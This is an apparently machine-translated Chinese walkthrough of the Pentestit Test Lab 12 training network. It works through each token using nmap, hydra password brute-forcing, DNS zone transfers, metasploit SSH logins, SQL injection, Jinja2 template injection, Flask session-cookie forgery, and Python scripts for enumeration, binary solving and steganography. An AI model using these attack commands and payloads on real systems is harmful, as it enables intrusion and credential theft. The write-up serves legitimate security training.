Pentest实验室的“ Pentestit测试实验室12”-全部通过

图片

每年,Pentestit都会建立一个新的渗透测试实验室,即测试实验室,本文将介绍第12个实验室,称为“ z 9r347 39u411z3r”,或者如果解码也称为“伟大的均衡器”。

免责声明
本文本质上不是建议性的内容,而仅描述了我通过实验室所采取的步骤。 提供所有信息仅出于教育目的。 对于由于使用本文档而获得的知识和方法对某人造成的任何损害,本文档的作者不承担任何责任。

连接实验室


与实验室的连接是通过VPN连接进行的(因为我是在运行Linux的计算机上通过实验室的,因此将针对该平台专门描述所有操作)。 为了进入专用网络,您必须执行以下步骤:

  1. 在这里注册。
  2. 从此处保存配置文件。
  3. 转到网络设置,然后选择“添加VPN”。
  4. 从文件导入(使用配置指定下载的文件)。
  5. 指定连接的登录名和密码(在“如何连接”选项卡上提供)。
  6. 我们连接到VPN并ping网关192.168.101.1。 如果ping通过,则说明您已成功连接到实验室。

目标搜索


我们可以使用掩码255.255.255.0访问网络192.168.101.X。 首先,您需要在网络上找到“活动主机”。 使用nmap实用程序可以轻松完成此操作:
nmap -sn 192.168.101.0/24 
使用的nmap选项
-sn-定义“活动主机”
ip / mask-网络地址/掩码

图片

因此,我们找到了三个主机,其中一个我们已经知道(网关):

  1. 192.168.101.1
  2. 192.168.101.12
  3. 192.168.101.13

第二步是扫描发现的主机的开放端口和封闭端口。
 nmap -sV -Pn 192.168.101.12-13 -p- 
使用的nmap选项
-sV-使用软件版本检测进行扫描
-Pn-扫描时禁用ping
-p--扫描端口的整个范围

图片

从报告中可以清楚地看到192.168.101.13不可用,因此我们从192.168.101.12开始。 Web服务器在端口80上旋转。 但是,当您尝试访问它时,将发生site.test.lab的重定向,这对我们来说是未知的(未为此重定向配置DNS)。 使用浏览器和curl实用程序进行验证。

 curl http://192.168.101.12:80/ curl http://site.test.lab/ 

图片

在/ etc / hosts文件中输入site.test.lab。 现在,我们冷静地前往该站点。

图片

第一步是收集有关该站点的信息。 最重要的是网站引擎(CMS-内容管理系统)。 为此,请使用wig实用程序。
 wig -u http://site.test.lab/ 
为了进行分析,我们得到一个报告-使用了Wordpress。 让我们解析一下wig输出:

  1. IP和标题条目。
  2. 软件的名称,版本和类型。
  3. 重要页面。
  4. 您可以使用的实用程序。
  5. 带有CVE链接的可能漏洞。

图片

图片

对于扫描CMS WordPress和更重要的是已安装的插件(它们最容易受到攻击),wpscan实用程序是最合适的。

 wpscan --url http://site.test.lab/ --enumerate p --random-user-agent 

使用过的wpscan选项
--url“ URL”
--enumerate p-插件的枚举(粗略)
--random-user-agent-更改用户代理字段

我们获得了所需的信息:WordPress版本,漏洞和已安装的插件。 事实是,这些漏洞不会为我们提供所需的访问权限。 确定使用哪些插件非常有用。 在这种情况下,它是“ wp调查和轮询”。 重要的是要理解,扫描仪仅应用于获取有关软件的信息。 由于没有单个漏洞数据库,因此扫描程序可能不会显示所有现有漏洞。 扫描的结果是:

  1. WP版本:4.9.8。
  2. 二十七:是的,诉。 1.9
  3. 插件:wp-survey-and-poll v。 1.5.7

WPScan输出
图片

图片

图片

图片

searchsploit实用程序旨在方便地搜索最大的exploit-db exploit数据库,该数据库已下载并保存到您的PC中。 对于版本4.9.8,在数据库中未发现漏洞。 如果我们检查插件,则会发现两个漏洞。

 searchsploit "WordPress Survey Poll" 

图片

了解有关这些漏洞的更多信息。 这是cookie中的常规绑定SQL注入。 我们需要回答问题,并用cookie代替我们的请求。 该技术非常简单:(任何表达式)OR 1 = 2将返回false,然后DBMS而不是解决我们的答案将显示组合请求的UNION的第二部分。 这些都是所有列,其中一列(第10号)将显示在页面上。 但是,该网段的操作是不可能的,因为它阻止了WAF,后来才知道。

图片

邮件令牌


该站点发生故障后,您需要查找其他入口点。 在该站点上,您可以找到info@test.lab登录名,我们将使用该登录名来选择身份验证信息。 让我们去其他港口。 网络在8080上旋转,但是使用了CSRF令牌。 速度为25 smtp时,密码不起作用。 我们只剩下端口143-这是IMAP服务。 对于brutus,我使用了hydra工具。 事实证明,密码非常简单。

 hydra -l info@test.lab -P '/root/rockyou.txt' imap://192.168.101.12 

图片

由于我们找到了邮件的用户名和密码,因此我们登录到192.168.101.12:8080,现在您需要正确分析所有邮件。 此外,有必要收集所有信息,因为稍后可能会派上用场。 这是我发现的:

  1. 收件箱:VPN配置。
  2. 传出:用于设置MAIL的令牌。
  3. 用户名sviridov@test.lab

图片

通过VPN的VPN


我们需要扩展到公司的网络。 我们有一个VPN配置,但是我们无法与主配置断开连接。 此技术称为VPN over VPN-当我们在VPN内的VPN内连接VPN时,等等。对于VPN,需要用户名和密码。 我们只知道2个用户(info和sviridov)以及其中一个的密码。 我们正在尝试使用已知的用户名和密码进行连接,如果仍然无法解决,我们将会蛮力。 要连接,请执行以下步骤:

  1. 创建一个userVPN.txt文件,其中第一行是用户名,第二行是密码。
  2. 将此文件的路径添加到auth-user-pass列中的VPN配置
  3. 您将使用以下内容创建bash脚本OverVPN.sh:openvpn --config configuration_path_to_file_&
  4. 为其分配权限:chmod 770 ./OverVPN.sh
  5. 运行:./ OverVPN.sh

图片

幸运的是,用户info@test.lab已成功登录,并被告知新的网络172.16.0.0/16可用。

图片

首先,您需要像上次一样在网络上找到“活动主机”:

 nmap -sn 172.16.0.0/16 

因此,我们找到了四个主机。

图片

扫描每个主机。 在172.16.0.1上什么也没找到。 我敢于假设这是我们在另一个网络上众所周知的192.168.101.13。 正是通过他,我们才连接到该网络。 在172.16.0.10上,仅端口80上的Web服务器可用。 在172.16.0.17上,我们看到了用于测试的整个“测试场”。 172.16.1.2没有。 这很可能是另一种VPN服务。

Nmap扫描结果
图片

图片

图片

DNS令牌


由于令牌列表中的下一个是DNS,因此我们将开始分析端口172.16.0.17上的DNS服务,主要漏洞是获取DNS记录-DNS区域的传输(即AXFR请求)。 我们使用nslookup和dig实用程序执行它。

首先知道区域和负责这些区域的服务器的名称。

 nslookup > set type=ANY > set port=53 > SERVER 172.16.0.17 > test.lab 

第二个将执行传输。
 dig @172.16.0.17 ns1.test.lab axfr 

图片

图片

此DNS服务器没有响应。 但是他知道网络上其余的DNS。 dnsrecon实用程序允许您使用dns进行任何操作。 获取网络上其余的DNS,并将它们添加到/ etc / hosts文件中。

 dnsrecon -d test.lab -n 172.16.0.17 -t brt 

Dnsrecon选项
-d“域”
-n“服务器”
-t brt是一种技术,在这种情况下为蛮力。

扫描主机172.16.0.17时,我们得到令牌。

 dnsrecon -d test.lab -n 172.16.0.17 -a 

Dnsrecon结果
图片

图片

图片

服务台令牌


列表中的下一个任务:服务台。 我们发现并添加了类似的域。 此外,这是在172.16.0.10上运行的唯一服务。 授权的形式很简单,不使用CMS。 与往常一样,我们尝试以知名用户身份登录。 我们悄悄进入了用户info@test.lab。 我们看到了请求表,在令牌请求之后,我们什么也没得到。 显然我们没有它,但是,由于它在此类任务中发生,因此其他用户可以使用它。 稍稍浏览一下页面后,我们发现可以更改密码了。

图片

用各种扫描仪扫描了搜索和密码更改表后,我们什么都没有找到。 查看密码更改页面的源代码。 如果对其进行几次更新,您会注意到带有CSRF令牌的隐藏字段没有更改。 也就是说,它不是CSRF令牌。 这是base64,解码并获取数字。

图片

图片

由于没有发送cookie,因此很明显这是用户ID。 计划如下:我们更改所有ID的密码,对于获得成功结果的ID,我们使用密码选择登录名。

Burp Suite实施
图片

图片

图片

图片

图片

图片

只有两个ID成功响应了密码更改请求。 现在仍然可以选择用户名。 Root和admin没有给出结果,但是sviridov@test.lab给了我们一个令牌。

广告令牌


在进入VPN路径之前,让我们看一下172.16.0.17上的服务。 挖SAMBA工作组TEST(来自nmap分析)。 首先,您需要找出域中的用户:

 enum4linux -U 172.16.0.17 

Enum4linux定义域,域中的用户,其rid和其他信息。 在用户中,我们带走了令牌。 顺便说一句,最好保留所有登录名。

图片

用户令牌


从服务台中,任务得知用户sviridov被授予了对网络的访问权限,即vpn config。 我们还从服务台获取密码。 我们尝试使用现有配置连接到192.168.101.13,但在userVPN.txt中替换用户的用户名和密码。

图片

没事 然后,我们尝试连接到192.168.101.12。 我们已连接,并且网络192.168.0.0/24和172.16.0.0/16可供使用。

图片

现在再次有必要对网络进行侦察。 我们可以使用两个掩码为255.255.0.0的网络172.16.0.0,在其中我们找到了八台主机,以及一个未扫描的网络192.168.0.0/24。 显然,所有主机上都激活了防火墙。 我们使用-Pn选项进行扫描,在报告中,我们绝对可以在所有位置过滤所有主机和端口。 我们注意到网络上有主机的端口22打开:

  • 192.168.0.10
  • 192.168.0.15
  • 192.168.0.30
  • 192.168.0.100
  • 192.168.0.205
  • 192.168.0.240

Nmap扫描结果
图片

图片

图片

图片

图片

图片

由于网络192.168.0.0/24上唯一存在的是六台具有开放ssh端口的主机,因此我们将滚动浏览所有这些主机,以便能够在我们认识的一个用户下进行连接。

图片

由于有六个主机,因此我们使用metasploit框架实用程序自动执行搜索。 我们将使用辅助模块/扫描仪/ ssh / ssh_login。

 > use auxiliary/scanner/ssh/ssh_login > set RHOSTS 192.168.0.10 192.168.0.15 192.168.0.30 192.168.0.100 192.168.0.205 192.168.0.240 > set USERPASS_FILE '/root/CTF/PT12/userspass.txt' > exploit 

图片

我们前往这两个用户下的所有主机,并查找信息。 在192.168.0.100上走了很长一段路后,我们发现访问权限出错。 用户的主目录绝对可供所有人查看。 我们在其中找到一个令牌。 但它的作者是sviridov。 在Svridov下登录并上交令牌。

图片

没有发现更多有趣的东西。 IP路由没有其他网络。 在克朗,只有一个清洁工。 在/ tmp /中很多不可理解的:

  • 1.sh-什么也没给。
  • Client.jar无法启动,因为没有JVM。 奇怪的是为什么根本需要他。
  • 重命名为DAGESTAN_SILA nmap。
  • 两个检查器以增加特权。
  • 还有很多不同的垃圾。

VPN令牌


在172.16.0.0/16网络上,所有主机上的端口80打开。 值得浏览所有主机上的站点:

  • 172.16.1.10上我们找到令牌!!! 进入VPN任务。 显然,任务是猜测以sviridov用户身份连接到192.168.101.12。
  • 172.16.1.12上获得授权表格。
  • 172.16.1.15基础上进行身份验证。

非常简单,继续前进。

SIEM令牌


我们去172.16.1.12 。 我们阅读了普雷维卡(Prewikka)。 Prewikka是通过Web实现的Prelude SIEM系统的主要用户界面。 可以通过Web浏览器访问该界面。 使用本地帐户或通过LDAP目录进行身份验证。 找不到漏洞。 默认情况下,Google登录名和密码。 失败,因为它们是在系统安装过程中指示的。 但是您可以从文档中尝试一个示例: prelude:preludepasswd-不适合。 让我们尝试一下我们已经知道的用户(并且我们只知道两个密码)。 Sviridov出现了。 重要的是要注意,只有管理员才能访问SIEM系统。 可以说我们定义了管理员。

我们注意到正在显示该月的数据。 我们在一个月前翻译了期刊,并查看了记录的数据。

图片

只要注意我们添加到/ etc / hosts的域:

  • (admin.test.lab)172.16.1.25
  • (vpn-admin.test.lab)172.16.1.10
  • (repository.test.lab)172.16.1.15
  • (site.test.lab)172.16.0.14

图片

在repository.test.lab日志中,我们找到一个令牌。

图片

由于我们在/ etc / hosts中找到并为site.test.lab添加了一个新条目,因此让我们返回并利用该漏洞。

网站令牌


返回site.test.lab,它现在对应于172.16.0.14。 让我们看看WAF是否适用。 我们从示例中发送负载并获得DBMS版本。 接下来,我们找出使用哪个数据库。 如果与默认数据匹配,则可以立即获取用户的名称和哈希,因为默认情况下,包含用户的表为:wp_users。 数据库名称(wordpress)是相同的,因此,我们找出用户名和密码。 不幸的是,这没有任何作用。 密码滚动也失败。

接下来,在这种情况下,我们将按照通常的方式进行操作(我将不介绍该技术,这只是基础知识)-我们将获得所有表的名称。 其中有必要的表-令牌。 找出什么是列和数据类型。 然后我们知道需要获取名称值。

利用Burp Suite利用漏洞
图片

图片

图片

图片

仓库令牌


在SIEM中,我们找到了repository.test.lab的日志。 让我们尝试使用找到的数据登录。 您可以再次返回并查找其中绝对所有服务的日志。

图片

我们通过,我们尝试登录。 成功! 我们看到一些文件和一个令牌。

图片

反向令牌


除了令牌之外,存储库中还有两个文件。 用于指定Reverse的其中一个是bin文件。 让我们对可执行文件进行基本分析:

  • 字符串-一种实用程序,可显示文件中的所有行。 在这种情况下,我们看到许多base64行。 解码什么也没有。
  • Ltrace是一个实用程序,可拦截库函数调用。 在这种情况下,不会调用任何库函数。
  • Strace是一个实用程序,可拦截所有syskols(系统调用)。 我们尚未收到任何有用的数据。

这些实用程序的结果
图片

图片

图片

我们尚未收到任何有用的数据。 对于此类任务,我更喜欢将Angr用于自动解决方案(我将在后续文章中写有关angr库的更多信息)。 我用python给出代码。

 import angr import claripy proj = angr.Project('./bin') simgr = proj.factory.simgr() simgr.explore(find=lambda s: b"ACCESS GRANTED!" in s.posix.dumps(1)) s = simgr.found[0] print(s.posix.dumps(0)) 

我们得到令牌作为答案。

图片

数据库令牌


现在让我们找出jar文件。 您需要了解他在做什么。 Java是一种反编译语言,因此我们获得了源代码。 有许多程序可以帮助您做到这一点(最好的方法是:JAD,JD-gui,Javasnoop,Intellij Idea Decompiler,JD插件Eclipse)。 我将JD-gui用于反编译,将Intellij Idea用于构建项目。 请按照以下步骤获取源项目:

  1. 运行jd-gui。 在Linux上,存在可以解决的启动问题,请执行以下操作-创建具有以下内容的bash文件:
    java --add-opens java.base/jdk.internal.loader=ALL-UNNAMED --add-opens jdk.zipfs/jdk.nio.zipfs=ALL-UNNAMED -jar /usr/share/jd-gui/jd-gui.jar
  2. 下载client.jar并保存。
  3. 打开Intellij Idea→导入项目。 指定文件夹的路径。
  4. 从现有资源创建项目。

保存到JD-GUI
图片

图片

让我们分析应用程序代码以想象它的用途。 第一步是设置连接参数和SSL。 呼叫发生在端口5074上的地址172.16.0.55。接下来,我们收到一条消息,要求您输入数字之一以选择请求。 依赖于此,某个参数将传递给Reqvest函数。 Reqvest函数以json格式返回生成的请求。 我们发送请求并得到答复。

反编译的应用程序源代码
图片

图片

图片

有一个困难:主机172.16.0.55对我们不可用。 但是我们在Sviridov的192.168.0.240上找到了类似的应用程序。 这意味着路由的配置方式使得可以从他的计算机访问应用程序服务器。 由于我们可以通过SSH访问,因此可以将端口转发到我们的语言环境。 要转发端口,请使用sshuttle实用程序。
 sshuttle -r sviridov@192.168.0.240 172.16.0.0/16 

图片

结果,我们可以访问网络。

图片

现在,我们正在调试模式下测试应用程序,但是要更改某些内容,您需要重建项目。 尝试通过F9运行应用程序时,出现错误。 要修复它,您必须:

  1. 清除复发。
  2. json中的错误。 从项目中删除整个文件夹。
  3. 在上下文菜单中选择项目:打开模块设置或F4
  4. 在“依赖关系”选项卡中,选择“ +”并指定jar文件。 因此,从完成的项目中,我们将加载反编译器破坏的已经组装好的库。

图片

现在,应用程序已成功启动,我们可以开始搜索漏洞。 我们已经知道,查询字符串是在Reqvest函数内部形成的。 让我们稍微更改一下代码,以了解系统如何响应我们的任何输入。 我们添加将控制返回参数的行并将其显示在控制台中。 接下来,我们将执行四个可能的查询。 如我们所见,传递了JSON字符串。 该系统在某种程度上让人想起HelpDesk,它将把用户请求返回给我们。 顺便说一下,显然数据库正在服务器上旋转,因为应用程序向我们返回了发出请求的用户。

测验
图片

图片

图片

图片

图片

为了使更改和微调参数更加方便,我们使函数不断返回相同的字符串。

图片

由于数据库是在服务器上使用的,因此首先要检查的是SQL注入的存在:

  1. 我们将发送最无害的负载-延迟功能。 延迟为10秒的请求比延迟为0秒要长得多。 有睡眠注射。
  2. 检查它是否容易受到盲目的攻击。 由于对正确条件的结论未更改,因此该应用程序容易受到盲注的攻击。
  3. 首先,您需要找出输出中的列数。 为此,我们正在构建联合UNION请求。 我们对列数进行排序,直到没有输出为止。 因此,输出显示为5列。
  4. 现在,您需要查找服务信息:DBMS(@@版本)和数据库名称(数据库())。 数据库的名称是要知道要联系什么,而DBMS是要在什么环境下进行操作。 因此,我们发现使用了MySQL,数据库名称为“ reqvest”。
  5. 现在,通过环境information_schema,我们找出存在哪些表。 我们对令牌感兴趣。
  6. 我们找出令牌表中的列。
  7. 显示令牌表的内容。

操作“
图片

图片

图片

图片

图片

图片

原来这个任务真有趣!

用户API令牌


在发现192.168.0.0/24网络上的六个隐藏主机之后,我考虑了一个事实,即这些主机可能位于172.16.0.0/16中。 在主端口上执行相同的扫描。 由于输出太大,我们将搜索关键字“ open”。 我们发现另外两个具有开放网络的主机。

图片

好吧,由于他们试图向我们隐藏172.16.1.20:8000,因此我们去看了一下AJAX应用程序。 好吧,我们一如既往地扫描目录。 Dirb发现的所有内容均已提供给我们。

图片

联系人页面对我们没有用。 登录页面需要授权。 并且支持包含某种条形码文件。 这似乎很隐秘,所以现在让我们离开它。 顺便说一句,如果您多次访问该页面,则会显示不同的图像。 我们将保存所有内容,只有4个。它们被解码为“ support_team”。

让我们看看那里有什么目录。 我们观察到五个目录:contac,get_user_list,recover_password,login,support。 因此,如果您查看get_user_list目录,它们将告诉我们有两个参数-登录字符串和密码字符串。 我们看,我们选择用户和密码-它什么也没有。 在条形码中,尝试了support_team作为登录名。 再说一次,残酷无处。

图片

通过不小心插入引号,我们发现了一个奇怪的反应。
login=support_team“&password=“ and “1=1“

并且我们显示了用户列表。

图片

当尝试以任何用户身份登录时,我们会遇到相同的错误。 查找正确的用户:登录对。 我们将编写一个脚本,它将遍历所有对,然后选择通过测试的对。

代号
 from requests import get list_user = [{"login": "potapova", "user": "Potapova"}, {"login": "popov", "user": "Popov"}, {"login": "kiselev", "user": "Kiselev"}, {"login": "semenova", "user": "Semenova"}, {"login": "kulikov", "user": "Kulikov"}, {"login": "uvarov", "user": "Uvarov"}, {"login": "blohina", "user": "Blohina"}, {"login": "frolova", "user": "Frolova"}, {"login": "volkova", "user": "Volkova"}, {"login": "morozova", "user": "Morozova"}, {"login": "fadeeva", "user": "Fadeeva"}, {"login": "gorbacheva", "user": "Gorbacheva"}, {"login": "pavlova", "user": "Pavlova"}, {"login": "ivanov", "user": "Ivanov"}, {"login": "safonov", "user": "Safonov"}, {"login": "kalinina", "user": "Kalinina"}, {"login": "krjukova", "user": "Krjukova"}, {"login": "bogdanov", "user": "Bogdanov"}, {"login": "shubin", "user": "Shubin"}, {"login": "lapin", "user": "Lapin"}, {"login": "avdeeva", "user": "Avdeeva"}, {"login": "zaharova", "user": "Zaharova"}, {"login": "kudrjashova", "user": "Kudrjashova"}, {"login": "sysoev", "user": "Sysoev"}, {"login": "panfilov", "user": "Panfilov"}, {"login": "konstantinova", "user": "Konstantinova"}, {"login": "prohorova", "user": "Prohorova"}, {"login": "lukin", "user": "Lukin"}, {"login": "avdeeva", "user": "Avdeeva"}, {"login": "eliseev", "user": "Eliseev"}, {"login": "maksimov", "user": "Maksimov"}, {"login": "aleksandrova", "user": "Aleksandrova"}, {"login": "bobrova", "user": "Bobrova"}, {"login": "ignatova", "user": "Ignatova"}, {"login": "belov", "user": "Belov"}, {"login": "fedorova", "user": "Fedorova"}, {"login": "mihajlova", "user": "Mihajlova"}, {"login": "burov", "user": "Burov"}, {"login": "rogov", "user": "Rogov"}, {"login": "kornilov", "user": "Kornilov"}, {"login": "fedotova", "user": "Fedotova"}, {"login": "nikolaeva", "user": "Nikolaeva"}, {"login": "nikiforov", "user": "Nikiforov"}, {"login": "sobolev", "user": "Sobolev"}, {"login": "molchanova", "user": "Molchanova"}, {"login": "sysoev", "user": "Sysoev"}, {"login": "jakovleva", "user": "Jakovleva"}, {"login": "blinova", "user": "Blinova"}, {"login": "eliseev", "user": "Eliseev"}, {"login": "avdeeva", "user": "Avdeeva"}, {"login": "komissarova", "user": "Komissarova"}, {"login": "kazakova", "user": "Kazakova"}, {"login": "lobanov", "user": "Lobanov"}, {"login": "panova", "user": "Panova"}, {"login": "ovchinnikova", "user": "Ovchinnikova"}, {"login": "bykov", "user": "Bykov"}, {"login": "karpov", "user": "Karpov"}, {"login": "panova", "user": "Panova"}, {"login": "guschina", "user": "Guschina"}, {"login": "korolev", "user": "Korolev"}, {"login": "shilov", "user": "Shilov"}, {"login": "burov", "user": "Burov"}, {"login": "zhuravlev", "user": "Zhuravlev"}, {"login": "fomichev", "user": "Fomichev"}, {"login": "ponomareva", "user": "Ponomareva"}, {"login": "nikiforov", "user": "Nikiforov"}, {"login": "bobrova", "user": "Bobrova"}, {"login": "stepanova", "user": "Stepanova"}, {"login": "dmitriev", "user": "Dmitriev"}, {"login": "dorofeeva", "user": "Dorofeeva"}, {"login": "silin", "user": "Silin"}, {"login": "tsvetkov", "user": "Tsvetkov"}, {"login": "antonov", "user": "Antonov"}, {"login": "belov", "user": "Belov"}, {"login": "novikova", "user": "Novikova"}, {"login": "martynov", "user": "Martynov"}, {"login": "kovalev", "user": "Kovalev"}, {"login": "egorov", "user": "Egorov"}, {"login": "kirillova", "user": "Kirillova"}, {"login": "chernova", "user": "Chernova"}, {"login": "dmitriev", "user": "Dmitriev"}, {"login": "kazakov", "user": "Kazakov"}, {"login": "gavrilova", "user": "Gavrilova"}, {"login": "beljaeva", "user": "Beljaeva"}, {"login": "kulakova", "user": "Kulakova"}, {"login": "samsonova", "user": "Samsonova"}, {"login": "pavlova", "user": "Pavlova"}, {"login": "zimina", "user": "Zimina"}, {"login": "sidorova", "user": "Sidorova"}, {"login": "strelkov", "user": "Strelkov"}, {"login": "guseva", "user": "Guseva"}, {"login": "kulikov", "user": "Kulikov"}, {"login": "shestakov", "user": "Shestakov"}, {"login": "ershova", "user": "Ershova"}, {"login": "davydov", "user": "Davydov"}, {"login": "nikolaev", "user": "Nikolaev"}, {"login": "andreev", "user": "Andreev"}, {"login": "rjabova", "user": "Rjabova"}, {"login": "grishin", "user": "Grishin"}, {"login": "turov", "user": "Turov"}, {"login": "kopylov", "user": "Kopylov"}, {"login": "maksimova", "user": "Maksimova"}, {"login": "egorov", "user": "Egorov"}, {"login": "seliverstov", "user": "Seliverstov"}, {"login": "kolobov", "user": "Kolobov"}, {"login": "kornilova", "user": "Kornilova"}, {"login": "romanov", "user": "Romanov"}, {"login": "beljakov", "user": "Beljakov"}, {"login": "morozov", "user": "Morozov"}, {"login": "konovalova", "user": "Konovalova"}, {"login": "kolobov", "user": "Kolobov"}, {"login": "koshelev", "user": "Koshelev"}, {"login": "bogdanov", "user": "Bogdanov"}, {"login": "seleznev", "user": "Seleznev"}, {"login": "smirnov", "user": "Smirnov"}, {"login": "mamontova", "user": "Mamontova"}, {"login": "voronova", "user": "Voronova"}, {"login": "zhdanov", "user": "Zhdanov"}, {"login": "zueva", "user": "Zueva"}, {"login": "mjasnikova", "user": "Mjasnikova"}, {"login": "medvedeva", "user": "Medvedeva"}, {"login": "knjazeva", "user": "Knjazeva"}, {"login": "kuznetsova", "user": "Kuznetsova"}, {"login": "komissarova", "user": "Komissarova"}, {"login": "gorbunova", "user": "Gorbunova"}, {"login": "blohina", "user": "Blohina"}, {"login": "tarasov", "user": "Tarasov"}, {"login": "lazarev", "user": "Lazarev"}, {"login": "rusakova", "user": "Rusakova"}, {"login": "vinogradov", "user": "Vinogradov"}, {"login": "shilov", "user": "Shilov"}, {"login": "strelkova", "user": "Strelkova"}, {"login": "komissarov", "user": "Komissarov"}, {"login": "kirillov", "user": "Kirillov"}, {"login": "jakusheva", "user": "Jakusheva"}, {"login": "mironov", "user": "Mironov"}, {"login": "kudrjavtseva", "user": "Kudrjavtseva"}, {"login": "vlasova", "user": "Vlasova"}, {"login": "fomin", "user": "Fomin"}, {"login": "nosova", "user": "Nosova"}, {"login": "aleksandrov", "user": "Aleksandrov"}, {"login": "teterina", "user": "Teterina"}, {"login": "gromov", "user": "Gromov"}, {"login": "odintsova", "user": "Odintsova"}, {"login": "schukin", "user": "Schukin"}, {"login": "shashkov", "user": "Shashkov"}, {"login": "lobanova", "user": "Lobanova"}, {"login": "suvorova", "user": "Suvorova"}, {"login": "panfilov", "user": "Panfilov"}, {"login": "loginov", "user": "Loginov"}, {"login": "kovalev", "user": "Kovalev"}, {"login": "rybakov", "user": "Rybakov"}, {"login": "konstantinova", "user": "Konstantinova"}, {"login": "bykov", "user": "Bykov"}, {"login": "lukina", "user": "Lukina"}, {"login": "vinogradov", "user": "Vinogradov"}, {"login": "antonova", "user": "Antonova"}, {"login": "nekrasov", "user": "Nekrasov"}, {"login": "mamontova", "user": "Mamontova"}, {"login": "denisov", "user": "Denisov"}, {"login": "stepanova", "user": "Stepanova"}, {"login": "suvorova", "user": "Suvorova"}, {"login": "krjukova", "user": "Krjukova"}, {"login": "samojlova", "user": "Samojlova"}, {"login": "gromov", "user": "Gromov"}, {"login": "kazakov", "user": "Kazakov"}, {"login": "matveev", "user": "Matveev"}, {"login": "sergeeva", "user": "Sergeeva"}, {"login": "bobylev", "user": "Bobylev"}, {"login": "sitnikova", "user": "Sitnikova"}, {"login": "grishina", "user": "Grishina"}, {"login": "blinova", "user": "Blinova"}, {"login": "doronina", "user": "Doronina"}, {"login": "ignatov", "user": "Ignatov"}, {"login": "gromov", "user": "Gromov"}, {"login": "koshelev", "user": "Koshelev"}, {"login": "orehov", "user": "Orehov"}, {"login": "matveev", "user": "Matveev"}, {"login": "rozhkova", "user": "Rozhkova"}, {"login": "gerasimov", "user": "Gerasimov"}, {"login": "martynova", "user": "Martynova"}, {"login": "molchanova", "user": "Molchanova"}, {"login": "timofeeva", "user": "Timofeeva"}, {"login": "kuznetsov", "user": "Kuznetsov"}, {"login": "loginova", "user": "Loginova"}, {"login": "maslova", "user": "Maslova"}, {"login": "matveev", "user": "Matveev"}, {"login": "zaharov", "user": "Zaharov"}, {"login": "nikiforova", "user": "Nikiforova"}, {"login": "galkina", "user": "Galkina"}, {"login": "vishnjakova", "user": "Vishnjakova"}, {"login": "kulakov", "user": "Kulakov"}, {"login": "medvedev", "user": "Medvedev"}, {"login": "antonova", "user": "Antonova"}, {"login": "konovalov", "user": "Konovalov"}, {"login": "lazarev", "user": "Lazarev"}, {"login": "bobylev", "user": "Bobylev"}, {"login": "lihachev", "user": "Lihachev"}, {"login": "nikolaeva", "user": "Nikolaeva"}, {"login": "bogdanov", "user": "Bogdanov"}, {"login": "gorbachev", "user": "Gorbachev"}, {"login": "nikolaev", "user": "Nikolaev"}, {"login": "semenova", "user": "Semenova"}, {"login": "semenov", "user": "Semenov"}, {"login": "kuznetsov", "user": "Kuznetsov"}, {"login": "gromova", "user": "Gromova"}, {"login": "samsonov", "user": "Samsonov"}, {"login": "konovalov", "user": "Konovalov"}, {"login": "gusev", "user": "Gusev"}, {"login": "sitnikov", "user": "Sitnikov"}, {"login": "ignatov", "user": "Ignatov"}, {"login": "voronova", "user": "Voronova"}, {"login": "mihajlov", "user": "Mihajlov"}, {"login": "lazareva", "user": "Lazareva"}, {"login": "nazarova", "user": "Nazarova"}, {"login": "krylova", "user": "Krylova"}, {"login": "morozova", "user": "Morozova"}, {"login": "medvedeva", "user": "Medvedeva"}, {"login": "samsonova", "user": "Samsonova"}, {"login": "mamontova", "user": "Mamontova"}, {"login": "shirjaeva", "user": "Shirjaeva"}, {"login": "scherbakov", "user": "Scherbakov"}] url = "http://172.16.1.20:8000/recover_password" l = len(list_user) valid=[] for i in range(l): print(str(i)+" - " + str(l)) req = get(url, params=list_user[i]) if "use valid credentials" not in req.text: print(list_user[i]) valid.append(list_user[i]) print(valid) 


因此,我们找到了梅德韦杰夫。

图片

找回密码。立即传递不起作用,因为“ +”将被识别为空格,而“&”将被视为分隔符。我们使用URLencode编码并获取令牌。

图片

图片令牌


因此,我们找到了Stego的图片。让我们做对。使用文件,binwalk和十六进制编辑器,我们检查文件中的附件。它们不是,因此,我们将分析stegsolve实用程序。在最大的图片中,我们在2和1 rgb位置找到了下拉位。这是LSB方法。

图片

此外,由于我没有绞尽脑汁,所以我什么也没收到。将不得不更深入地了解句柄。为此,请使用python PIL库处理图像。我们看一下图片,我们看到像素取三个值-0、255和249。让我们构建图像的二进制图。由于0和255是条形码的常规值,因此我们将用“ 0”代替条形码,用“ 1”代替249。接下来,我们将尝试将卡分成16个字符,并从中删除仅包含16个零的所有行。接下来,从每行写出单位的位置,并将其从十六进制形式转换为字符串以获取令牌。

图片
图片

图片

图片

代号
 from PIL import Image import binascii image = Image.open('./support4.png') width, height = image.size pix = image.load() r='' for i in range(height): for j in range(width): if(sum(pix[j,i])!=765 and sum(pix[j,i])!=0): r+='1' else: r+='0' token='' for i in range(0,len(r),16): if r[i:i+16] != '0'*16: token+=hex(r[i:i+16].find('1'))[2] print(token) 


我的令牌


所以/ etc / hosts文件中还有my.test.lab,我们还没有去过。授权表格。我们有info,sviridov和medvedev用户。成功登录信息。有一个搜索栏。根据令牌的要求,我们将获得五张小马图片。什么都没有,我们将进行扫描。当使用wapiti我们被禁止。通过一些查询来检查SQL-inj和XSS,我们也被禁止了。我们发送了一个简单的测试SSTI的请求:{{7 * 7}}。并执行了代码,因为在答案中我们得到49。

图片

剩下来确定服务器上使用的模板引擎。为了知道要使用哪个环境(变量,函数,常量等),这是必需的。这可以很容易地完成如下。

图片

我们已经知道它是Jinja2或Twig。因此,我们发送以下请求:{{7 *“ 7”}}。我们得到了积极的回应。这是Jinja2 python模板引擎,可以通过{{self}}请求轻松确认。

图片

图片

让我们看一下配置:{{config}}。在那里,我们找到了秘密密钥,即令牌。

图片

令牌API


我们从文档中了解到jinja2会根据服务器的密钥生成cookie。要利用此漏洞,我们需要脚本flask-session-cookie-manager我们需要检查此密钥是否有效。为此,我们需要尝试对其解密信息用户会话。Cookie是免费解密的。

图片

了解Cookie的格式后,我们现在可以以任何用户身份登录。为此,您还必须生成cookie。长时间失败后,我注意到中间块与系统时间之间存在相关性。我们更改日期,直到中间块的开始重合为止。达到2060年。生成了令牌和sviridov用户,但没有提供任何内容,因此我决定为admin生成。成功替换cookie后,我们获得了用户不了解的一些秘密密钥。

图片

通过SSTI搜索RCE(远程代码执行)需要三天的时间。事实是,我们只能操作服务器上加载的模块及其功能。首先,我们找出什么功能。我们将通过烧瓶曲奇进行操作。
